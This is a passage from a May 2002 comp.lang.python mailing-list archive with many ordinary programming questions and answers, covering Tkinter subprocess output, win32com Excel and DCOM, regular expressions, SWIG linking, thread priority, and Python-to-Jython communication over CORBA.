20:43:14 2002 From: bokr at oz.net (Bengt Richter) Date: 16 May 2002 00:43:14 GMT Subject: Merging contents of two files References: <3CE26265.54F83CAB@dlr.de> Message-ID: On 15 May 2002 23:17:17 GMT, bokr at oz.net (Bengt Richter) wrote: >On Wed, 15 May 2002 15:28:05 +0200, Katharina.Pergens at dlr.de wrote: >>I'm a beginner. What to do ... > >First thing, try to post in plain text so more people will take the trouble to read: > Sorry, I didn't see you'd already corrected that ;-/ Regards, Bengt Richter From ffjhenon at club-internet.fr Tue May 21 19:01:09 2002 From: ffjhenon at club-internet.fr (Fabien =?iso-8859-1?Q?H=E9non?=) Date: Wed, 22 May 2002 01:01:09 +0200 Subject: fromchild.readlines() blocks Tkinter Message-ID: <3CEAD1B5.32787102@club-internet.fr> I am writing an application (using Tkinter) to start a free raytracer (POVRAY which executable is x-povray) from the Tkinter GUI (under Linux). When started from a terminal, POVRAY reads a script (like Python), and outputs both an image and the line which is being rendered to the console. When the image is completely raytraced, POVRAY displays the stats on the console. If there are errors in the read script, the error message is also displayed on the console. self.text_out is the window to which the stats and rendered line numbers are redirected. the command (cmd) is : /usr/local/bin/x-povray +i/usr/local/pov/1.pov +w320 +h240 -f +dgt +v I need to be able to kill (or renice) the child process. That's why I use the class popen2.Popen4 and to mix stdout and stderr. Here is my script to launch the external raytracer (I start with self.render): def render(self): RUN=popen2.Popen4(cmd) pid=RUN.pid sortie=RUN.fromchild.fileno() root.after(500,self.pulse) def pulse(self): if pid != 0: Tkinter._tkinter.createfilehandler(RUN.fromchild.fileno(), Tkinter._tkinter.READABLE, self.test) else: self.null def null(self): pass def test(self,sortie,mask): # """ 8<-snip-beginning of comment-->8 for line in RUN.fromchild.readlines(): if line.endswith('\n'): line=line[:-1]+'\n' self.text_out.insert('end',line) self.text_out.yview('moveto', 1.0) # """ 8<-snap-----end of comment---->8 Tkinter._tkinter.deletefilehandler(RUN.fromchild.fileno()) root.after(500,self.pulse) My problem comes from RUN.fromchild.readlines().I also tried sys.stdout.readlines() When I comment out the section between the snip and snap above, the GUI is not blocked ( I can have access to the menu and buttons), but I don't get the stats. When the section between the snap is not commented out(as above), I get the feedback from the console, but I cannot stop the raytrace or access the GUI. Help, what shall I do ? Sorry for this lengthy post. Thanks for any help. I have been stuck with this for several weeks. Fabien From weeks at vitus.scs.agilent.com Mon May 20 10:56:52 2002 From: weeks at vitus.scs.agilent.com (Greg Weeks) Date: Mon, 20 May 2002 14:56:52 +0000 (UTC) Subject: might compatibility become a *goal*? References: <1021652963.460304@cswreg.cos.agilent.com> Message-ID: <1021906612.99708@cswreg.cos.agilent.com> Neil Schemenauer (nas at python.ca) wrote: : Greg Weeks wrote: : > Indeed, lack of backward compatibility seems to be an expected : > "feature" of Python, given the introduction of the __future__ module. : Huh? This statement alone makes me feel like discounting your entire : post. Hmmm. The purpose of __future__ is to soften the introduction of backward-incompatible fieatures, is it not? Greg From mgilfix at eecs.tufts.edu Thu May 9 18:26:05 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Thu, 9 May 2002 18:26:05 -0400 Subject: Join Python script into a huge one In-Reply-To: <1020981481.93253@seux119>; from plugin@supercable.es on Thu, May 09, 2002 at 11:57:08PM +0200 References: <1020981481.93253@seux119> Message-ID: <20020509182605.C24038@eecs.tufts.edu> You could distribute the .pyc files. I think they're portable but I'm not sure (someone can confirm or deny that). Then they can only look at your doc strings. I'm not sure why you need to join all the scripts into one huge one though... just use distutils and install it or add the appropriate directory to your PYTHONPATH. -- Mike On Thu, May 09 @ 23:57, Ugo Garc?a wrote: > hi all. I use python as the script language of a game I'm doing in Visual C. > The problem that I have is that the game could have very much scripts and I > don't want the user to "see" those. I know that I can compile them and don't > include the source but I still having the problem of the number of files. Is > there any way to join ALL scripts into a huge one???? It could be great to > have all the scripts in only one file. > > Thanks in advance > --ugo > > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (plugin) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From lists.ASkwar at DigitalProjects.com Thu May 2 18:28:44 2002 From: lists.ASkwar at DigitalProjects.com (Alexander Skwar) Date: Thu, 2 May 2002 22:28:44 +0000 Subject: Killing a running thread In-Reply-To: References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> Message-ID: <20020502222844.GI17983@teich.Garten.DigitalProjects.com> ?Alex Martelli? sagte am 2002-05-02 um 15:32:48 +0000 : > try: > map(myfunction, somehumongoushugelist) > except OuttaHere: > pass Yes, this idea also occured to me. If I'm not mistaken, this should break out of the map, no? > all (if you COULD kill it, the file wouldn't be complete). If it's > OK for the file to NOT be complete, change the single write call to, > e.g.: Good idea. Thanks! Alexander Skwar -- How to quote: http://learn.to/quote (german) http://quote.6x.to (english) Homepage: http://www.iso-top.de | Jabber: askwar at a-message.de iso-top.de - Die g?nstige Art an Linux Distributionen zu kommen Uptime: 4 hours 19 minutes From tim at frontier.net.nospam Wed May 15 00:24:35 2002 From: tim at frontier.net.nospam (Tim Hamza) Date: Tue, 14 May 2002 22:24:35 -0600 Subject: Simple DCOM example? Message-ID: <3ce1e2c7$0$26393$724ebb72@reader2.ash.ops.us.uu.net> Hey all, I have been playing around with the win32com stuff. I have the same COM object on two Win2k boxes that I can use on each box as in the demo. Is there an easy way to access COM objects between machines? I grasped at variations of the win32com.client.DispatchEx straw because it lists machine as a parameter. Ex w = win32com.client.DispatchEx("someObject.Application", machine="otherPC", userName="goodUserOnBothPCs") This returns the right kind of object, but calling its methods does not affect the app on other PC. Have read win32com docs and googled. Easy answer or no? Thanks, Tim From sjmachin at lexicon.net Sun May 19 08:08:46 2002 From: sjmachin at lexicon.net (John Machin) Date: 19 May 2002 05:08:46 -0700 Subject: regexp search for variable and string References: Message-ID: lazerpub at yahoo.com (Joshua Newman) wrote in message news:... > Sorry if this has been asked and answered innumerable times. I > couldn't find the answer anywhere. > > I'm trying to grab some news with wget and python. > I can't regexp for a variable (date) and specific words in the same > re.compile expression. Any hints? YES. See below. > > #get today's date > date= time.strftime("%Y/%m/%d", time.localtime(time.time())) > > #construct a string to search for today's date and wire services but no > #sports or index pages > restring="""r'("""+date+"""|aponline|reuters)(?!/sports|.*index.html)'""" Hint: insert a print statement here to show exactly what restring is bound to. > today=re.compile(restring) > > #above doesn't work, but: Not surprising; it's reutered. > #today=re.compile(r'(2002/05/19|aponline|reuters)(?!/sports|.*index.html)' > #works fine with: > todaysurl=re.findall(today,onlinenewspaperURLs) > > Can I do this in one regexp? Of course you can. You just have to build the regexp correctly. From pyth at devel.trillke.net Fri May 3 05:14:04 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 3 May 2002 11:14:04 +0200 Subject: Message queueing In-Reply-To: References: Message-ID: <20020503091404.GC16217@devel.trillke> On Thu, May 02, 2002 at 10:45:29PM -0400, Christopher Browne wrote: > The BIG problem with the "rolling via SMTP" is that SMTP doesn't > provide you _any_ kind of end-to-end guarantees on delivery. Theoretically you are right. SMTP by itself does not guarantee much of anything. But using something like the well (C-)written highly modular 'qmail' on both sides might make it easy to be sure that a message has been sent and received. You should prefer peer-to-peer relaying instead of sending it through several hops. I am pretty sure that you can get guarantees without having to resort to implement TCP over mail :-) I admit that i haven't tried such a setup myself. But i would definitely give it a look especially because qmail is - apart from highly secure - fast and very easy to configure. regards, holger From fgeiger at datec.at Thu May 9 04:43:28 2002 From: fgeiger at datec.at (F. GEIGER) Date: Thu, 9 May 2002 10:43:28 +0200 Subject: Python Enterprise Objects References: Message-ID: > Have you taken a look at ZOPE at all? (http://www.zope.org/Documentation). > This may already be wat you want. ...or Webware, especially with its MiddleKit? Have a look at webware.sourceforge.net! Cheers Franz "Irmen de Jong" schrieb im Newsbeitrag news:abd9vt$jnm$1 at news1.xs4all.nl... > > "Wenshan Du" wrote in message > news:e786d63d.0205081747.ba28f3c at posting.google.com... > > hi,all > > I like python very much, but I find that python is not very suitable > > for enterprise application for now. So, I make a project named Python > > Enterprise Objects for enterprise application at sourceforge.net. I > > want it to be a replacement of J2EE, or Mirosoft .Net framework. Some > > API will added. I need some advice about how to make this dream to > > fact. > > > Have you taken a look at ZOPE at all? (http://www.zope.org/Documentation). > This may already be wat you want. > > From gerhard at bigfoot.de Fri May 17 22:08:56 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 18 May 2002 02:08:56 GMT Subject: Python w/Forth Runtime???? References: <3CE5AFD3.32D59F@tundraware.com> Message-ID: Tim Daneliuk wrote in comp.lang.python: > Python does just what needs doing ... see the end of this piece for why: > > http://www.tundraware.com/Technology/Bullet/ What's the connection with the Subject of your posting? Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From matkin at iar.se Fri May 24 06:38:00 2002 From: matkin at iar.se (Mats Kindahl) Date: 24 May 2002 12:38:00 +0200 Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> Message-ID: jb writes: > I have two lists, x and y with the property len(x) = len(y). > > I should like to achive this (x is a list of class instances) > > for (a,b) in (x,y): a.f(b) > > Is there a fancy way of doing this or have I to introduce an auxillary > counter (that is very easy but maybe not very "lispy", that is > "python-like"). "zip", as in: for (a,b) in zip(x,y): a.f(b) I belive the function is coming from Haskell. That's at least where I saw it first. Maybe somebody can confirm or deny that? Best wishes, -- Mats Kindahl, IAR Systems, Sweden Any opinions expressed are my own, not my company's. From irmen at USENET_NOSPAM_REMOVETHISxs4all.nl Sun May 26 14:34:54 2002 From: irmen at USENET_NOSPAM_REMOVETHISxs4all.nl (Irmen de Jong) Date: Sun, 26 May 2002 20:34:54 +0200 Subject: Sockets/select: how to deal with multiple connections in threads? References: <1022431382.60958@yasure> Message-ID: Donn Cave wrote: > It's a nuisance, but in principle I think your design is not a bad one, > to make I/O the common base of your event handling. If you can find > a way around it that's more convenient, that's great, but I don't think > you'll find a more powerful and portable event dispatching architecture. I was recommended to use asyncore/Medusa (that doesn't use threads at all). But since my system (Pyro) is currently structured around threads, that would require a major rewrite. So I optimized my thread solution: don't use a thread per request, just spawn a new thread and let it live. The main loop only handles new accept()s. First results show a speed increase of up to 2 times :) Irmen From Gabe.Newcomb at noetix.com Wed May 22 18:43:01 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Wed, 22 May 2002 15:43:01 -0700 Subject: win32com Excel problem Message-ID: <0C7CA8D8DF75494EB09AB6016990107F016F5CFE@NOXMAIL.noetixad.com> I'm still learning how to do this stuff myself, but here are some thoughts: 1) this doesn't seem to be your problem, but be sure to be explicit about the types of data you expect from each cell (I use str() and int(), etc. when reading Cells.Value 2) more likely: perhaps this original spreadsheet has strangely formatted columns? Just a stab in the dark. 3) be sure to kill any EXCEL tasks left open in taskmanager. This can make access to the spreadsheet funky. I had to learn to add code to close the spreadsheet in order to prevent leaving these open after execution. good luck! I hope this helps in some way Gabe Newcomb -----Original Message----- From: Terje Johan Abrahamsen [mailto:terjeja at hotmail.com] Sent: Wednesday, May 22, 2002 3:32 PM To: python-list at python.org Subject: win32com Excel problem I am writing a little porgram that pulls out some info from a cell in Excel. It works great, excepy for when I try to pull out info from a spreadsheet that I want info from. Here is the code: import win32com.client import win32com.client.dynamic from win32com.client import Dispatch import sys class accountcurrents: xlApp = Dispatch("Excel.Application") #ex = Dispatch("Extra.System") xlApp.Visible = 1 xlApp.Workbooks.Add() xlBook = xlApp.Workbooks(1) xlSheet = xlApp.Sheets(1) xlrad = 2 xlpol = "Donald" xlamount = 1.00 xldato = "1/11/11" def __init__(self): print"Hello" def finnxlpolicy(self): accountcurrents.xlrad = accountcurrents.xlrad + 1 accountcurrents.xlpol = accountcurrents.xlSheet.Cells(accountcurrents.xlrad,1).Value if accountcurrents.xlpol == None : print "yes" else: pass If I have a blank spreadsheet, and fill in some values in the A collumn, it works great. However, when I use the spreadsheet that I actually want the info from, it all crashes. The spreadsheet I want the info from looks like this: Policy# Effective Date Amount MCK0259477 11/5/1998 240 MCK0278868 5/27/2001 -572.72 MCK0279107 1/14/2001 -1474.82 and so forth. This errormessage comes: Traceback (most recent call last): File "", line 1, in ? File "C:\Documents and Settings\dsporck\My Documents\Python\accountcurrents\accountcurrents.py", line 23, in finnxlpolicy accountcurrents.xlpol = accountcurrents.xlSheet.Cells(accountcurrents.xlrad,1).Value File "C:\Python22\Lib\site-packages\win32com\client\__init__.py", line 347, in __getattr__ return apply(self._ApplyTypes_, args) File "C:\Python22\Lib\site-packages\win32com\client\__init__.py", line 341, in _ApplyTypes_ return self._get_good_object_(apply(self._oleobj_.InvokeTypes, (dispid, 0, wFlags, retType, argTypes) + args), user, resultCLSID) com_error: (-2146827864, 'OLE error 0x800a01a8', None, None) I use win2k, and newest version of Python, PythonWin and Win32Com. I do not change anything except for the contents of the spreadsheet. Even if I just copy the info into the spreadsheet that normally works. Thanks in advance, Terje _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com -- http://mail.python.org/mailman/listinfo/python-list From gmuller at worldonline.nl Fri May 24 15:33:16 2002 From: gmuller at worldonline.nl (GerritM) Date: Fri, 24 May 2002 21:33:16 +0200 Subject: might compatibility become a *goal*? References: <1021652963.460304@cswreg.cos.agilent.com> <3CEE88FB.FD07C690@astro.cornell.edu> Message-ID: "Tom Loredo" schreef in bericht news:3CEE88FB.FD07C690 at astro.cornell.edu... > > My impression, as a heavy user since 1.5.2, is that the Python dev > crew have bent over backwards to maintain backward compatibility > in the sense of having old code run under new versions, and have > also been very cautious and conservative regarding adding new > features that would prevent new code from running under old versions. > Having watched the discussion surrounding many of these choices > over the past 3 years or so, I have to say that I am extremely > impressed by the insight and wisdom shown by the developers as > a community. Sometimes it has taken me a while to appreciate > their reasoning, but I can't think of a case where I didn't > come to agree with them, if not immediately, then at least after > living with the change a while. > > I think for this discussion to be useful, you need to distinguish > between the meanings of "backwards compatibility" and be specific > about any changes that have bothered you. > > -Tom Loredo I fully agree, a generic discussion about (backward) compatibility does not provide any useful insight. Only specific objectives and specific actual (versus academical) problems provides insight in seemingly conflicting interests and often result in creative and elegant solutions (although some compromises creep in). regards Gerrit -- www.extra.research.philips.com/natlab/sysarch From MichaelB at firstlogic.com Wed May 22 13:59:24 2002 From: MichaelB at firstlogic.com (Michael Bauers) Date: Wed, 22 May 2002 12:59:24 -0500 Subject: Question on using import in idle while developing a module Message-ID: <50B466C3F4A0D5118CCA00B0D0681E32027664A5@exchange-lax1.firstlogic.com> I was trying to test my module by re-importing it after making changes. It would not alwys detect my changes. Is there a trick to making this work? From op73418 at mail.telepac.pt Wed May 8 21:18:42 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Thu, 09 May 2002 02:18:42 +0100 Subject: Hello Newb here References: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> Message-ID: On Thu, 09 May 2002 00:35:06 GMT, "Ray Tux" wrote: >Hello im new to programming i started to learn c++, but turned out to be >way too hard. So i thought I would learn Python. > Good choice. >Does anyone have any ideas on how I can learn to program well in about a >month What do you mean to program well? To be a *good* programmer in the large (like being a good mathematician, a good lawyer, etc.) takes time. A month is not enough, unless you are a true genius. But since you said that C++ was too hard that does not seem to be the case. Anyway there is reallly only one method to be a good programmer: read tutorials + program + read some books + program + read other people's code + program + ... You get the idea. > >Thank > > All the best, Gon?alo Rodrigues From jblazi at hotmail.com Mon May 27 03:26:02 2002 From: jblazi at hotmail.com (jb) Date: Mon, 27 May 2002 09:26:02 +0200 Subject: Defining a class in several files Message-ID: <3cf1dc01_2@news3.newsgroups.com> Is there a way of defining the member functions of a class in different files? If you class is getting large, having to defining all member functions in the same file can be a pain in the neck. -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From sholden at holdenweb.com Sun May 19 15:56:54 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 19 May 2002 15:56:54 -0400 Subject: Python and IIS References: <1021653047.71194.0@demeter.uk.clara.net> Message-ID: <6wTF8.59111$i42.42478@atlpnn01.usenetserver.com> "Robert Plant" wrote in message news:1021653047.71194.0 at demeter.uk.clara.net... > Hi, > > I am sorry if this seems a stupid post but i really dont know how to do > it..... > > I would like to configure IIS 5 to use python cgi scripts. > [...] My publisher recently released the "Web Frameworks" chapter from "Python Web Programming" vie the Informit site. There's a relatively briefe section in tehre on IIS/Python integration which might offer a clue or two. http://www.informit.com/content/index.asp?product_id={5187F549-51A1-4607-88F F-F5E074CDDDAC} [You'll probably have to copy-and-paste the URL, Outlook Express refuses to treat it as a unit] regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From larooy at xtar.co.nz Thu May 16 18:03:57 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Fri, 17 May 2002 10:03:57 +1200 Subject: how to determine an 'open' string? References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> Message-ID: <20020517100357.609f4922.larooy@xtar.co.nz> Oh you changed the return value from 0 to 1 to the left over string ;o) in that case... import re def quoteopen(s,quot=re.compile("(?P\"\"\"|'''|\"|').*?(?P=quot)")): return quot.sub("",s) Noone has really discussed why simply counting the quotes is wrong. The reason is that while scanning the string from left to right, if you come across a quote you have to ignore all the *other* types of quotes until you find a matching one. That's what the x!=y in Holger's solution is checking for, and the (?P...).*?(?P=quot) does in mine. One thing that is missing here is if there is an escaped quote in the string. Neither of the regexps here look for them. Holger said he wanted it to work like python strings. Only Holger knows ;o) Do you need to check for escaped quotes Holger? On Thu, 16 May 2002 22:31:29 +0200 holger krekel wrote: > > def open_quote(text, rex=re.compile('"""|\'\'\'|"|\'')): > """ return the open quote at the end of text. > if all string-quotes are matched, return the > empty string. Based on ideas from Harvey Thomas. > """ > rfunc = lambda x,y: x!=y and (x or y) or '' > quotes = rex.findall(text) > return quotes and reduce(rfunc,quotes) or '' > > regards and thanks for all suggestions, > > holger > > From quinn at regurgitate.ugcs.caltech.edu Fri May 10 16:46:43 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 10 May 2002 20:46:43 GMT Subject: Looking for doh!.. simple sequence type References: <3CB6BED8.2000502@mxm.dk> Message-ID: On Fri, 12 Apr 2002 13:02:48 +0200, Max M wrote: >Hmm ... I am trying to create a simple sequence type that I cant iterate >over like (Python 2.1):: > >lst = Lst() >for i in lst: > print i > >And I thought I could do it like: > >class Lst: > > def __len__(self): > return 4 > > def __getitem__(self, idx): > return 42 > >But I have to write it like below to avoid an endless loop.. > >lst = Lst() >for i in range(len(lst)): > print i, > > >>>42 42 42 42 > >I am shure it's so simple tha I will go Doh! .. But perhaps I haven't >had enough cofee yet. 'Cause I cannot seem to figure it out. 'for X in Y' doesn't use __len__, it just keeps calling __getitem__ until it gets an IndexError. def __getitem__(self, i): if 0 > i >= 4: # one of python's fun little obscure features raise IndexError else: return 42 Langref 7.3 says "An internal counter is used to keep track of which item is used next, and this is incremented on each iteration. When this counter has reached the length of the sequence the loop terminates." which is misleading. In 2.2 'for X in Y' calls Y.__iter__, so the protocol is totally different but nicer. From quinn at chunder.ugcs.caltech.edu Wed May 29 02:08:44 2002 From: quinn at chunder.ugcs.caltech.edu (Quinn Dunkan) Date: 29 May 2002 06:08:44 GMT Subject: Another stupid question... References: Message-ID: >> check that you have the header files for the 'readline' >> library installed before you 'configure'. I guess >> you also need to exec 'import rlcompleter' (readline-completer) >> somewhere in your startup files (PYTHONSTARTUP points to a script). That's not quite true. If readline is available, it will be automatically imported. >but i don't understand what i had to do !!! or what i must check !!! >i'm a newbie in python, and unix' world... Type 'import readline' at the >>>. If you get another >>>, readline is installed. If you get ImportError, you need to compile readline.so. This should be handled automatically by the python setup.py which gets run when you type make. The problem is that if it can't find the readline library, it won't build readline.so. There are two possibilities: you have readline but setup.py didn't find it, or you don't have readline. For the first, you can stick the lib and include libraries at the top of the detect_modules() method of setup.py (don't know if there's a better way, but you shouldn't have to know python to install it...). For the second, go to a gnu mirror and download readline. If it can find readline, then I dunno. ^[[A is a standard up-arrow code (it's what my xterm sends), but terminals under unix are a giant mess. You could put 'set editing-mode vi' in ~/.inputrc and type ^[k :) If you have a sun, or a linux like debian or redhat, chances are you can install python using whatever package scheme and it should have readline. If you have a more obscure system and are a unix newbie, then get your sysadmin to do it. If you don't have a sysadmin, then... um... time to start learing the Unix Compile Game :) From bdash at gmx.net Fri May 31 04:27:08 2002 From: bdash at gmx.net (Mark Rowe) Date: Fri, 31 May 2002 20:27:08 +1200 Subject: Passing values from C++ to embedded python. References: <7PeJ8.27836$Ir1.1692191@twister.southeast.rr.com> Message-ID: <3CF733DC.5030600@gmx.net> > > >Thanks a lot Mark, > >I have a new problem now though. :-). our idea makes sense, I wrote the >code, I put the stuff in the SWIG interface file, and it compiled perfectly. >Woohoo. However, I can't figure out how to link it now. > >Here's what I have, simplified: > >classtowrap.cpp # the class i'm trying to wrap >classtowrap.h # it's header file >classtowrap.i # swig interface file >classtowrap_wrap.cxx # generated c++ wrapper class from SWIG >classtowrap.py # python shadow class from SWIG >classtowrapc.so # the compiled, shared library from the >classtowrap.cpp and the classtowrap_wrap.cxx that python can import > >main.cpp # the main driver program > >So, the main.cpp is what gets the python interpreter running and needs to >send the instance into the python namespace. It, therefore, needs to use >that method we defined in our classtowrap.i file, which was put in the >classtowrap_wrap.cxx file, which is now in the shared library >classtowrapc.so. > >I can't, of course, just do a -lclasstowrapc because libraries need to start >with "lib", so I made a link from libclasstowrapc.so -> classtowrapc.so. >Now I did the compilation of main.cpp with a -lclasstowrapc at the end of >it. Here's the error I got: > >ld: libclasstowrapc.dylib is input for the dynamic link editor, is not >relocatable by the static link editor again > >Mac OS X was nice enough to copy my symbolic link, this time with a .dylib >extension, as is the default for dynamically linked libraries on this OS. >However, being a dynamic library, you can't statically link it. So, how DO >you dynamically link a library? I've never dealt with this kind of thing >before. > >Thanks again for your help, > >Justin Dubs > Hello, I'll start off by saying that I have absolutely no experience with MacOS X at all, but am basing this on my other *nix experience. To compile my wrapped class under Linux using GNU G++ I use the following sequence of commands: swig -python -c++ -shadow -o classtowrap_wrap.cpp classtowrap.i g++ -c -I /usr/include/python2.2 classtowrap_wrap.cpp -o classtowrap_wrap.o g++ -c classtowrap.cpp -o classtowrap.o g++ -shared -o libwrapped.so classtowrap.o classtowrap_wrap.o g++ -o main main.cpp -l wrapped.so I've no idea how much of this applies to MacOS X, but I thought I'd try and help anyhow :D Mark From matt at kimball.net Tue May 21 11:06:31 2002 From: matt at kimball.net (Matt Kimball) Date: Tue, 21 May 2002 08:06:31 -0700 (PDT) Subject: Threading is actually fair Message-ID: <20020521080632.6377.h011.c000.wm@mail.kimball.net.criticalpath.net> Okay, Tim was right, of course. Python's global interpreter lock wasn't the cause of any of my complaints about threading unfairness. For those interested, part of the problem was that my background computation thread was flooding my GUI with "update" events, telling my main GUI thread that it had new data and wanted to repaint its views of said data. I throttled that back so that it doesn't send an update more frequently than every 100 ms and it helped a bit. The second half of the solution was actually to set the thread priority of my background computation to something lower than the GUI thread. This made the GUI responsiveness much, much better. Using win32all, in my background computation thread, I do this before any of the real work: win32process.SetThreadPriority(win32api.GetCurrentThread(), win32process.THREAD_PRIORITY_BELOW_NORMAL) And from there on out, things run very smoothly. -- Matt Kimball matt at kimball.net From peter at engcorp.com Fri May 17 19:02:46 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 17 May 2002 19:02:46 -0400 Subject: How to call another file References: <83r8kbw5f6.fsf@panacea.canonical.org> <77850380B97D3D89.015A3084C891C287.2096BE53E22167DB@lp.airnews.net> <83vg9mu0fn.fsf@panacea.canonical.org> Message-ID: <3CE58C16.648FE94E@engcorp.com> Thomas Heller wrote: > > "Kragen Sitaker" wrote in message news:83vg9mu0fn.fsf at panacea.canonical.org... > > I thought about "start"; unfortunately, it runs stuff in the > > background and returns immediately, which is not what the OP wanted. > > > That's where the /WAIT switch is for, available on win2k at least: > > os.system("start /WAIT mypage.html") > > At the command prompt enter 'help start' for more information. START /? is always good too... From whisper at oz.net Mon May 13 14:07:20 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 13 May 2002 11:07:20 -0700 Subject: Zaurus and Python, a good combination In-Reply-To: <3cdfe18c$1_4@goliath.newsgroups.com> Message-ID: Hmmm.. good to know about the stowaway - i've been considering picking one up, especially now that there's an iPaq 3800 version. Have you considered tkinter on iPaq? After all, tcl, and more importantly, tk have been ported to ppc. I really have to get across town and pick up my ppc dev tools David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Brad Clements > Sent: Monday, May 13, 2002 8:59 > To: python-list at python.org > Subject: Re: Zaurus and Python, a good combination > > > "David LeBlanc" wrote in message > news:mailman.1021243041.30775.python-list at python.org... > > The iPaq Python port has it's own python shell (pyshell?) in lieu of a > > commandline prompt. It uses the iPaq internal stylus "tap" input drivers > > (on-screen keyboard and 2 forms of "cursive" input recognition). I don't > > know, but I would assume that if the "thumbboard" (virtually > identical to > > similar products for Palm and the zarius built-in) or stowaway keyboard > 3rd > > party options are installed, then those could be used. > > The iPaQ port uses "pcceshell.py" which is a modified ceshell.py. > > It works just fine with my Targus Stowaway keyboard. > > -- > > I'm really looking forward to wxWindows for the iPaQ, if that comes out, > I'll do the Python part and get it integrated in the iPaQ release. > > Unfortunately the person who claims to be doing that port hasn't answered > any of my email messages. (Koan software?) > > > > > > > -----------== Posted via Newsgroups.Com - Uncensored Usenet News > ==---------- > http://www.newsgroups.com The #1 Newsgroup Service in the World! > -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 > Servers =----- > -- > http://mail.python.org/mailman/listinfo/python-list From logiplexsoftware at earthlink.net Fri May 10 13:52:32 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Fri, 10 May 2002 10:52:32 -0700 Subject: is there a better way... In-Reply-To: References: Message-ID: <20020510105232.12922023.logiplexsoftware@earthlink.net> On Fri, 10 May 2002 10:48:00 -0500 Mark McEahern wrote: > [Christopher Encapera] > > Subject: is there a better way... > > to loop over a list and replace an element based on its value than: > > There are three ways shown below, including your approach (replace). Try > the script and see for yourself how each performs: Also see the additional method I've added here. from time import clock import random ### new function def replace_index(l, old, new): # make a copy x = list(l) while 1: try: i = x.index(old) x[i] = new except ValueError: break return x def replace(l, old, new): # Make a copy. x = list(l) y = len(x) z = 0 while z < y: element = x[z] if element == old: x[z] = new z = z +1 return x def replace_for(l, old, new): # Make a copy. x = list(l) for i in range(len(x)): if x[i] == old: x[i] = new break # use continue if we expect more than one match. return x def replace_dict(l, old, new): d = dict(zip(l, l)) d[old] = new return d.values() def timeit(f, *args): time_in = clock() result = f(*args) time_out = clock() return result, time_out - time_in size = 100000 x = range(size) old = random.randrange(0, size) new = "blueberry" r1, t1 = timeit(replace, x, old, new) r2, t2 = timeit(replace_dict, x, old, new) r3, t3 = timeit(replace_for, x, old, new) r4, t4 = timeit(replace_index, x, old, new) assert(r1==r2==r3==r4) print "replace: %0.3f" % t1 print "replace_dict: %0.3f" % t2 print "replace_for: %0.3f" % t3 print "replace_index: %0.3f" % t4 #### Results: replace: 0.180 replace_dict: 0.800 replace_for: 0.110 replace_index: 0.040 As has been commented upon before, exceptions are remarkably inexpensive in Python. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From derek at wedgetail.com Sat May 11 04:21:48 2002 From: derek at wedgetail.com (Derek Thomson) Date: Sat, 11 May 2002 18:21:48 +1000 Subject: Python <-> Jython communication References: Message-ID: <3CDCD49C.2010406@wedgetail.com> Hi, Etienne Labuschagne wrote: > I am still looking for a nice and easy solution for communicating > between Python and Jython. > > Here are my experiences so far: > > XML-RPC : can't get it to work from the Jython side, having problems > with especially sending pickled objects (the pickled string > specifically) as params This will be difficult, as the XML-RPC modules aren't (officially) supported by Jython. > > Soap : haven't tried it, afraid of same problems as above I don't know if there are Jython-ported SOAP modules, so, yes, the above applies. SOAP's broken-by-design anyway. No object references! > Sockets : should work - lots of work to implement Yes, all of the above, and CORBA, are trying to save you from the pain of marshalling, among other things. > Corba : sounds good, but have NO experience in it, lots of work Since I went to some trouble to make sure Fnorb (http://sourceforge.net/projects/fnorb), works on Jython (*) , I'm going to say this is the answer. It's not actually that difficult. You specify your interface in an interface definition language (IDL), then implement a server that supports the defined operation calls. Take a look in examples/hello-world in the Python CVS tree, and I think you'll see that it's not hard. Python makes it a *lot* easier than CORBA C++ examples would make you think it will be. Anyway have a look at it, and feel free to email me privately if you need some guidance. (*) There's Jython support in the only CVS trunk, so you have to do a CVS checkout. There are instructions on the site. > Pyro : seems like the solution, but does it work in Jython? I just took a brief look at this. It seems to be no simpler than Fnorb, and has the problem of being non-standard i.e. you can't at some later time decide to implement some objects in Java/C++/C/Perl or make calls on objects implemented in those languages. > > Any other suggestions/comments. > > Assume that I have code that cannot run in Jython and that is why I must > still stick to Python in some areas. Fnorb supports Jython. That's one of the main reasons I removed the little bit of C code that Fnorb had, so it would run cleanly on Jython. This feature is not going away. > Assume that I have code that uses > Java libs and that is why I must stick to Jython in the other areas. > Assume that the code runs on the same machine This will work fine. Regards, 